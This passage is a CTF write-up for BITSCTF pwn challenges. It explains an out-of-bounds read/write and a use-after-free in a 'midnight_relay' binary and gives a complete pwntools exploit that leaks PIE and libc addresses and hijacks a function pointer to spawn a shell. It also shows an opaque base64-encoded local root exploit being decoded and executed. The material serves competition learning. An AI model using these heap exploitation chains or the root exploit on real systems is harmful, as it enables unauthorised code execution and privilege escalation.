When processing the 0x22 (tune) or 0x33 (observe) commands, the binary uses the same bounding check:
case 0x33u: if ( v7 > 4u ) { v31 = (char *)&slots + 16 * (*payload & 0xF); if ( *(_QWORD *)v31 ) { v32 = *(unsigned __int16 *)(payload + 1); // User offset
if ( (unsigned __int16)(*((_WORD *)v31 + 4) + 32) >= (unsigned __int16)(v32 + *(_WORD *)(payload + 3)) ) { write(1, (const void *)(*(_QWORD *)v31 + v32), *(unsigned __int16 *)(payload + 3)); goto LABEL_28; } } }Because the bounds check literally includes the + 32 bytes allocated for the metadata region at the end, providing offsets up to size + 32 will natively be validated as healthy boundaries! We can directly Read from or Write to the metadata obfuscation blocks!
2. Use-After-Free (UAF)
The 0x44 (shred) command operates lazily:
if ( header.op == 68 ) // 'D' { if ( v7 ) { v36 = (void **)((char *)&slots + 16 * (*payload & 0xF)); if ( *v36 ) {
free(*v36); *((_BYTE *)v36 + 10) = 0; // set in_use = 0 goto LABEL_28; } } }It calls free() but fails to null out the pointer in the slots array (*v36). It only sets an in_use flag (offset 10) to 0. Since the 0x33 (Observe) read routine completely ignores the in_use flag checking only if the pointer is non-null (if ( *(_QWORD *)v31 )), we have an unmitigated UAF.
Exploit Strategy
We can chain these directly into Remote Code Execution.
The path to a shell requires leaking the internal state, leaking libc, and finally hijacking the function pointer evaluation.
1. Metadata Leak for Cookies and PIE Bypass
First, we allocate a small chunk of exactly 128 bytes and initialize it with the string /bin/sh\x00. Using the Out-of-Bounds Read via the 0x33 (Observe) command, we ask to read past the 128 bytes to dump the 32-byte metadata block situated at the end. This block contains the obfuscated tracking variables (m0, m1, m2, m3).
By mathematically reversing the XOR operations detailed in the decompilation, we can extract the plain constants:
meta_addr = m2 + 128cookie = m0 ^ (meta_addr >> 12) ^ 0x48454C494F5300FFidle = m1 ^ m3 ^ m0 ^ (meta_addr >> 13)pie_base = idle - 0x17b0Not only do we recover the secret /dev/urandom cookie, but calculating the difference from the idle function address successfully neutralizes the PIE Base layout.
2. Glibc Unsorted Bin Leak via UAF
With the PIE mitigated, we need the libc memory map base address. Thanks to the unstructured free() call (UAF), we can push glibc into revealing it.
We allocate a large chunk (e.g., 1200 bytes, which exceeds the tcache bounds, > 0x410), followed by a small 128-byte allocation to prevent the large chunk from consolidating backward into the top chunk.
When we free the large 1200-byte chunk, Glibc tosses it into the unsorted bin. According to heap management rules, the freed chunk’s fd and bk pointers are populated with main_arena->top locations that reside inside libc!
If we try to read these pointers back, however, the server processes our command packet using calloc(), which carves a small slice directly out of our freed 1200-byte unsorted bin chunk! This pushes the fd/bk pointers exactly 32 bytes forward (0x20 offset). We simply use the 0x33 (Observe) command on the freed chunk at an offset of 32 to read 16 bytes. That completely leaks the main_arena pointers, from which we can statically calculate the libc base for Ubuntu 24.04 (glibc 2.39).
3. Execution Call Hijacking via 0x66 (Fire)
Finally, the 0x66 (Fire) command decrypts a function pointer mapped from the m1 metadata component and executes it:
... v29 = *(_QWORD *)(v27 + 24) ^ *(_QWORD *)(v27 + 8) ^ *(_QWORD *)v27; ((void (__fastcall *)(__int64, __int64, __int64, __int64, __int64))(v29 ^ (v27 >> 13)))( v26, // Chunk mapping pointer 0x48454C494F5300FFLL, // constant v29, // evaluation state v28, // evaluation state v6); // epoch stateIf we isolate the target function pointer extraction math, it generates:
func_addr = (m3 ^ m1 ^ m0) ^ (meta_addr >> 13);Since we have an Out-of-Bounds Write via the 0x22 (Tune) command, we can arbitrarily rewrite m1 deep in the chunk’s metadata! Using the leaked addresses, we re-encrypt m1 such that func_addr flawlessly mathematically reconstructs into libc.sym["system"].
Before it performs the actual execution, it validates the channel sync against expected (0x55 command sync). We simply pre-calculate it and supply it:
expected = (m3 ^ m0 ^ epoch) & 0xFFFFFFFFWhen 0x66 triggers, system is called. The first argument passed (v26) is natively identical to the chunk content pointer. Because we strategically wrote /bin/sh\x00 at the very front of our slot during step 1, it successfully triggers a system("/bin/sh\x00") shell.
Here is the final exploit script:
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug( [exe] + argv, gdbscript=gdbscript, env={"SHELL": "/bin/bash"}, *a, **kw ) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
def sl(data): p.sendline(data)
def sla(after, data): p.sendlineafter(after, data)
def s(data): p.send(data)
def sa(after, data): p.sendafter(after, data)
def calc_chksum(payload): global epoch val = epoch for b in payload: val = ((val * 8) & 0xFFFFFFFF) ^ (val >> 2) ^ b ^ 0x71 return val & 0xFF
def update_epoch(cmd): global epoch epoch ^= (cmd << 9) | 0x5F epoch &= 0xFFFFFFFF
def send_cmd(cmd, payload): chksum = calc_chksum(payload) hdr = bytes([cmd, chksum]) + len(payload).to_bytes(2, "little") update_epoch(cmd) p.send(hdr + payload)
gdbscript = """init-gefcontinue""".format(**locals())
exe = "./midnight_relay"elf = context.binary = ELF(exe, checksec=False)context.terminal = [ "zellij", "action", "new-pane", "-d", "right", "-c", "--", "bash", "-c",]
p = start()libc = ELF("./libc.so.6", checksec=False)context.log_level = "info"
epoch = 0x6B1D5A93
p.recvuntil(b"midnight-relay\n")
# 1. Allocate a slot with /bin/shpayload = bytes([0]) + (128).to_bytes(2, "little") + bytes([8]) + b"/bin/sh\x00"send_cmd(0x11, payload)
# 2. Out-of-bounds Read to leak metadatapayload = bytes([0]) + (128).to_bytes(2, "little") + (32).to_bytes(2, "little")send_cmd(0x33, payload)meta = p.recv(32)m0, m1, m2, m3 = struct.unpack("<QQQQ", meta)
meta_addr = m2 + 128cookie = m0 ^ (meta_addr >> 12) ^ 0x48454C494F5300FFidle = m1 ^ m3 ^ m0 ^ (meta_addr >> 13)pie_base = idle - 0x17B0
print(f"[+] Cookie leaked: {hex(cookie)}")print(f"[+] PIE Base: {hex(pie_base)}")
# 3. Leak libc via UAF using the unsorted binpayload = bytes([1]) + (1200).to_bytes(2, "little") + bytes([8]) + b"AAAAAAAA"send_cmd(0x11, payload)
# Prevent consolidationpayload = bytes([2]) + (128).to_bytes(2, "little") + bytes([8]) + b"BBBBBBBB"send_cmd(0x11, payload)
# Free chunk 1, it enters the unsorted binpayload = bytes([1])send_cmd(0x44, payload)
# Read the freed chunk from offset 32 to leak main_arena# (because the 5-byte payload for this command is calloc'd from the same chunk, shifting the unsorted bin pointers by 0x20)payload = bytes([1]) + (32).to_bytes(2, "little") + (16).to_bytes(2, "little")send_cmd(0x33, payload)heap_leak = p.recv(16)fd, bk = struct.unpack("<QQ", heap_leak)
# Calculate libc base for Ubuntu 24.04 glibclibc.address = fd - 0x203B20print(f"[+] Libc Base: {hex(libc.address)}")
# 4. Out-of-bounds Write to overwrite function pointer to system()func = libc.sym["system"]v29 = func ^ (meta_addr >> 13)new_m1 = v29 ^ m3 ^ m0
payload = ( bytes([0]) + (128).to_bytes(2, "little") + (32).to_bytes(2, "little") + struct.pack("<QQQQ", m0, new_m1, m2, m3))send_cmd(0x22, payload)
# 5. Update chunk status to in_use = 1 (State Pivot point via 0x55 Sync)expected = (m3 ^ m0 ^ epoch) & 0xFFFFFFFFpayload = bytes([0]) + struct.pack("<I", expected)send_cmd(0x55, payload)
# 6. Trigger Execution (Fire!)payload = bytes([0])send_cmd(0x66, payload)
p.sendline(b"cat flag.txt")print(p.recvline(timeout=1).decode().strip())
p.interactive()python solve.py REMOTE 20.193.149.152 1338[+] Opening connection to 20.193.149.152 on port 1338: Done[+] Libc Base: 0x77a571d45000BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}Promotion
Description
You just got promoted by your boss! What’s the first thing you’re doing?
nc 20.193.149.152 1337
python solve.py 20.193.149.152 1337.../tmp $ echo -n "TSoBEps8R1aD2+4AKZyh1sXTX4ZGBy/d4gzgHs4AhbwBiu5/1+uiKdzwNyWlhsf6NPsgY9J13mdlKfjl/qxn/O+kj/B6KgZ+oeCXzyensn7c+rcxnHzeHv6OpjTcrqDXKt8zKPgLGH8B42+7Dv98+hQ+zD/8fcw4NUblX8bOOPI+h753OX9keq1ivJ+9I5P55fcH+38k/9+y/cv88vN+7/y4MBhV/w0K/mOM/9h11pdho4Jffs8hMv7M6+jfruAfej6Vw1j1w/HnZ7KG+Nk5Po0dGJsWKhgUBtnG1lf6Web/1SjxGzuqR8hLwvi3jxteNidm37JdxoyQI9R+Zmls1Pxw/qSPwr+KfSf376+Tf/8JltDPaXhXAAA=" >> expl.b64/tmp $ base64 -d expl.b64 > expl.gz/tmp $ gunzip expl.gz/tmp $ chmod +x expl/tmp $ ./expl[+] Got root! Executing shell.../bin/sh: can't access tty; job control turned off/tmp # $ cat /dev/sdacat /dev/sdaBITSCTF{pr0m0710n5_4r3_6r347._1f_1_0nly_h4d_4_j0b...}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0Mind The Gap
Description
The old transit maps used to be reliable, but recent infrastructure upgrades have created vast voids between sectors. You will need to find a new way to reach your target. Please, mind the gap.
Instancer: http://chals.bitskrieg.in/
python solve.py REMOTE chals.bitskrieg.in 47564[+] Opening connection to chals.bitskrieg.in on port 47564: DoneLibc base: 0x7f636177a000[*] Loaded 111 cached gadgets for './libc.so.6'[*] Switching to interactive modeBITSCTF{1659950decfdbe6c522c4f5537778b80}

